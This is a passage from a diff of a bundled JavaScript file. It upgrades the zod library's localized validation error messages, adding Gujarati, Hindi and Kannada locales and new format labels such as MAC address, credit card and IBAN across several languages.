\u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.includes}" \u0AB6\u0ABE\u0AAE\u0AC7\u0AB2 \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "regex") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: \u0AAA\u0AC7\u0A9F\u0AB0\u0ACD\u0AA8 ${_issue.pattern} \u0AB8\u0ABE\u0AA5\u0AC7 \u0AAE\u0AC7\u0AB3 \u0A96\u0ABE\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA8\u0A82\u0AAC\u0AB0: ${issue2.divisor} \u0AA8\u0ACB \u0A97\u0AC1\u0AA3\u0ABE\u0A82\u0A95 \u0AB9\u0ACB\u0AB5\u0ACB \u0A9C\u0ACB\u0A88\u0A8F`; + case "unrecognized_keys": + return `\u0A93\u0AB3\u0A96\u0AC0 \u0AB6\u0A95\u0ABE\u0AA4\u0ABE \u0AA8\u0AB9\u0AC0\u0A82 \u0AA4\u0AC7 \u0A95\u0AC0${issue2.keys.length > 1 ? "\u0A93" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A95\u0AC0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA1\u0ABF\u0AB8\u0ACD\u0A95\u0ACD\u0AB0\u0ABF\u0AAE\u0ABF\u0AA8\u0AC7\u0A9F\u0AB0 \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF. \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${opts}`; + } + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + case "invalid_element": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF`; + default: + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + } + }; +}; +function gu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/he.js +var error20 = () => { const TypeNames = { string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, @@ -61084,6 +62506,8 @@ var error17 = () => { url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, uuid: { label: "UUID", gender: "m" }, + uuidv4: { label: "UUIDv4", gender: "m" }, + uuidv6: { label: "UUIDv6", gender: "m" }, nanoid: { label: "nanoid", gender: "m" }, guid: { label: "GUID", gender: "m" }, cuid: { label: "cuid", gender: "m" }, @@ -61097,13 +62521,18 @@ var error17 = () => { duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + mac: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA MAC", gender: "f" }, cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + credit_card: { label: "\u05DE\u05E1\u05E4\u05E8 \u05DB\u05E8\u05D8\u05D9\u05E1 \u05D0\u05E9\u05E8\u05D0\u05D9", gender: "m" }, + currency_code: { label: "\u05E7\u05D5\u05D3 \u05DE\u05D8\u05D1\u05E2", gender: "m" }, + iban: { label: "IBAN", gender: "m" }, jwt: { label: "JWT", gender: "m" }, + template_literal: { label: "\u05E7\u05DC\u05D8", gender: "m" }, ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, @@ -61221,12 +62650,124 @@ var error17 = () => { }; function he_default() { return { - localeError: error17() + localeError: error20() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js -var error18 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hi.js +var error21 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + file: { unit: "\u092C\u093E\u0907\u091F\u094D\u0938", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F\u092F\u093E\u0901", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0908\u092E\u0947\u0932 \u092A\u0924\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0924\u093F\u0925\u093F \u0914\u0930 \u0938\u092E\u092F", + date: "ISO \u0924\u093F\u0925\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u092A\u0924\u093E", + ipv6: "IPv6 \u092A\u0924\u093E", + mac: "MAC \u092A\u0924\u093E", + cidrv4: "IPv4 \u0936\u094D\u0930\u0947\u0923\u0940", + cidrv6: "IPv6 \u0936\u094D\u0930\u0947\u0923\u0940", + base64: "Base64-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + base64url: "Base64URL-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + e164: "E.164 \u0938\u0902\u0916\u094D\u092F\u093E", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0938\u0902\u0916\u094D\u092F\u093E", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u094B\u0902 \u092E\u0947\u0902 \u0938\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u0947\u0902 ${adj}${issue2.maximum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum} \u0939\u094B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} \u092E\u0947\u0902 ${adj}${issue2.minimum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} ${adj}${issue2.minimum} \u0939\u094B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.prefix}" \u0938\u0947 \u0936\u0941\u0930\u0942 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.suffix}" \u092A\u0930 \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u0907\u0938\u092E\u0947\u0902 "${_issue.includes}" \u0936\u093E\u092E\u093F\u0932 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u092A\u0948\u091F\u0930\u094D\u0928 ${_issue.pattern} \u0938\u0947 \u092E\u0947\u0932 \u0916\u093E\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: \u092F\u0939 ${issue2.divisor} \u0915\u093E \u0917\u0941\u0923\u091C \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u0902\u091C\u0940${issue2.keys.length > 1 ? "\u092F\u093E\u0901" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u0902\u091C\u0940: ${issue2.origin} \u092E\u0947\u0902`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u0947\u0902`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function hi_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hr.js +var error22 = () => { const Sizable = { string: { unit: "znakova", verb: "imati" }, file: { unit: "bajtova", verb: "imati" }, @@ -61257,12 +62798,16 @@ var error18 = () => { duration: "ISO trajanje", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "IPv4 raspon", cidrv6: "IPv6 raspon", base64: "base64 kodirani tekst", base64url: "base64url kodirani tekst", json_string: "JSON tekst", e164: "E.164 broj", + credit_card: "broj kreditne kartice", + currency_code: "kod valute", + iban: "IBAN", jwt: "JWT", template_literal: "unos" }; @@ -61344,17 +62889,18 @@ var error18 = () => { }; function hr_default() { return { - localeError: error18() + localeError: error22() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js -var error19 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hu.js +var error23 = () => { const Sizable = { string: { unit: "karakter", verb: "legyen" }, file: { unit: "byte", verb: "legyen" }, array: { unit: "elem", verb: "legyen" }, - set: { unit: "elem", verb: "legyen" } + set: { unit: "elem", verb: "legyen" }, + map: { unit: "elem", verb: "legyen" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61380,12 +62926,16 @@ var error19 = () => { duration: "ISO id\u0151intervallum", ipv4: "IPv4 c\xEDm", ipv6: "IPv6 c\xEDm", + mac: "MAC c\xEDm", cidrv4: "IPv4 tartom\xE1ny", cidrv6: "IPv6 tartom\xE1ny", base64: "base64-k\xF3dolt string", base64url: "base64url-k\xF3dolt string", json_string: "JSON string", e164: "E.164 sz\xE1m", + credit_card: "hitelk\xE1rtyasz\xE1m", + currency_code: "p\xE9nznemk\xF3d", + iban: "IBAN", jwt: "JWT", template_literal: "bemenet" }; @@ -61453,11 +63003,11 @@ var error19 = () => { }; function hu_default() { return { - localeError: error19() + localeError: error23() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hy.js function getArmenianPlural(count, one, many) { return Math.abs(count) === 1 ? one : many; } @@ -61468,7 +63018,7 @@ function withDefiniteArticle(word) { const lastChar = word[word.length - 1]; return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); } -var error20 = () => { +var error24 = () => { const Sizable = { string: { unit: { @@ -61497,6 +63047,13 @@ var error20 = () => { many: "\u057F\u0561\u0580\u0580\u0565\u0580" }, verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + map: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" } }; function getSizing(origin) { @@ -61523,12 +63080,16 @@ var error20 = () => { duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + mac: "MAC \u0570\u0561\u057D\u0581\u0565", cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", json_string: "JSON \u057F\u0578\u0572", e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + credit_card: "\u056F\u0580\u0565\u0564\u056B\u057F \u0584\u0561\u0580\u057F\u056B \u0570\u0561\u0574\u0561\u0580", + currency_code: "\u0561\u0580\u056A\u0578\u0582\u0575\u0569\u056B \u056F\u0578\u0564", + iban: "IBAN", jwt: "JWT", template_literal: "\u0574\u0578\u0582\u057F\u0584" }; @@ -61601,17 +63162,18 @@ var error20 = () => { }; function hy_default() { return { - localeError: error20() + localeError: error24() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js -var error21 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/id.js +var error25 = () => { const Sizable = { string: { unit: "karakter", verb: "memiliki" }, file: { unit: "byte", verb: "memiliki" }, array: { unit: "item", verb: "memiliki" }, - set: { unit: "item", verb: "memiliki" } + set: { unit: "item", verb: "memiliki" }, + map: { unit: "item", verb: "memiliki" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61637,12 +63199,16 @@ var error21 = () => { duration: "durasi format ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "rentang alamat IPv4", cidrv6: "rentang alamat IPv6", base64: "string dengan enkode base64", base64url: "string dengan enkode base64url", json_string: "string JSON", e164: "angka E.164", + credit_card: "nomor kartu kredit", + currency_code: "kode mata uang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61708,17 +63274,18 @@ var error21 = () => { }; function id_default() { return { - localeError: error21() + localeError: error25() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js -var error22 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/is.js +var error26 = () => { const Sizable = { string: { unit: "stafi", verb: "a\xF0 hafa" }, file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, array: { unit: "hluti", verb: "a\xF0 hafa" }, - set: { unit: "hluti", verb: "a\xF0 hafa" } + set: { unit: "hluti", verb: "a\xF0 hafa" }, + map: { unit: "hluti", verb: "a\xF0 hafa" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61744,12 +63311,16 @@ var error22 = () => { duration: "ISO t\xEDmalengd", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded strengur", base64url: "base64url-encoded strengur", json_string: "JSON strengur", e164: "E.164 t\xF6lugildi", + credit_card: "kreditkortan\xFAmer", + currency_code: "gjaldmi\xF0ilsk\xF3\xF0i", + iban: "IBAN", jwt: "JWT", template_literal: "gildi" }; @@ -61818,17 +63389,18 @@ var error22 = () => { }; function is_default() { return { - localeError: error22() + localeError: error26() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js -var error23 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/it.js +var error27 = () => { const Sizable = { string: { unit: "caratteri", verb: "avere" }, file: { unit: "byte", verb: "avere" }, array: { unit: "elementi", verb: "avere" }, - set: { unit: "elementi", verb: "avere" } + set: { unit: "elementi", verb: "avere" }, + map: { unit: "elementi", verb: "avere" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61854,12 +63426,16 @@ var error23 = () => { duration: "durata ISO", ipv4: "indirizzo IPv4", ipv6: "indirizzo IPv6", + mac: "indirizzo MAC", cidrv4: "intervallo IPv4", cidrv6: "intervallo IPv6", base64: "stringa codificata in base64", base64url: "URL codificata in base64", json_string: "stringa JSON", e164: "numero E.164", + credit_card: "numero di carta di credito", + currency_code: "codice valuta", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61927,17 +63503,18 @@ var error23 = () => { }; function it_default() { return { - localeError: error23() + localeError: error27() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js -var error24 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ja.js +var error28 = () => { const Sizable = { string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, - set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + map: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61963,12 +63540,16 @@ var error24 = () => { duration: "ISO\u671F\u9593", ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + mac: "MAC\u30A2\u30C9\u30EC\u30B9", cidrv4: "IPv4\u7BC4\u56F2", cidrv6: "IPv6\u7BC4\u56F2", base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", json_string: "JSON\u6587\u5B57\u5217", e164: "E.164\u756A\u53F7", + credit_card: "\u30AF\u30EC\u30B8\u30C3\u30C8\u30AB\u30FC\u30C9\u756A\u53F7", + currency_code: "\u901A\u8CA8\u30B3\u30FC\u30C9", + iban: "IBAN", jwt: "JWT", template_literal: "\u5165\u529B\u5024" }; @@ -62035,17 +63616,18 @@ var error24 = () => { }; function ja_default() { return { - localeError: error24() + localeError: error28() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js -var error25 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ka.js +var error29 = () => { const Sizable = { string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, - set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + map: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62071,12 +63653,16 @@ var error25 = () => { duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + mac: "MAC \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", json_string: "JSON \u10D5\u10D4\u10DA\u10D8", e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + credit_card: "\u10E1\u10D0\u10D9\u10E0\u10D4\u10D3\u10D8\u10E2\u10DD \u10D1\u10D0\u10E0\u10D0\u10D7\u10D8\u10E1 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + currency_code: "\u10D5\u10D0\u10DA\u10E3\u10E2\u10D8\u10E1 \u10D9\u10DD\u10D3\u10D8", + iban: "IBAN", jwt: "JWT", template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" }; @@ -62148,17 +63734,18 @@ var error25 = () => { }; function ka_default() { return { - localeError: error25() + localeError: error29() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js -var error26 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/km.js +var error30 = () => { const Sizable = { string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, - set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + map: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62184,12 +63771,16 @@ var error26 = () => { duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + mac: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 MAC", cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", e164: "\u179B\u17C1\u1781 E.164", + credit_card: "\u179B\u17C1\u1781\u1794\u17D0\u178E\u17D2\u178E\u17A5\u178E\u1791\u17B6\u1793", + currency_code: "\u1780\u17BC\u178A\u179A\u17BC\u1794\u17B7\u1799\u1794\u17D0\u178E\u17D2\u178E", + iban: "IBAN", jwt: "JWT", template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" }; @@ -62259,22 +63850,139 @@ var error26 = () => { }; function km_default() { return { - localeError: error26() + localeError: error30() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kh.js function kh_default() { return km_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js -var error27 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kn.js +var error31 = () => { + const Sizable = { + string: { unit: "\u0C85\u0C95\u0CCD\u0CB7\u0CB0\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + file: { unit: "\u0CAC\u0CC8\u0C9F\u0CCD\u200C\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + array: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: 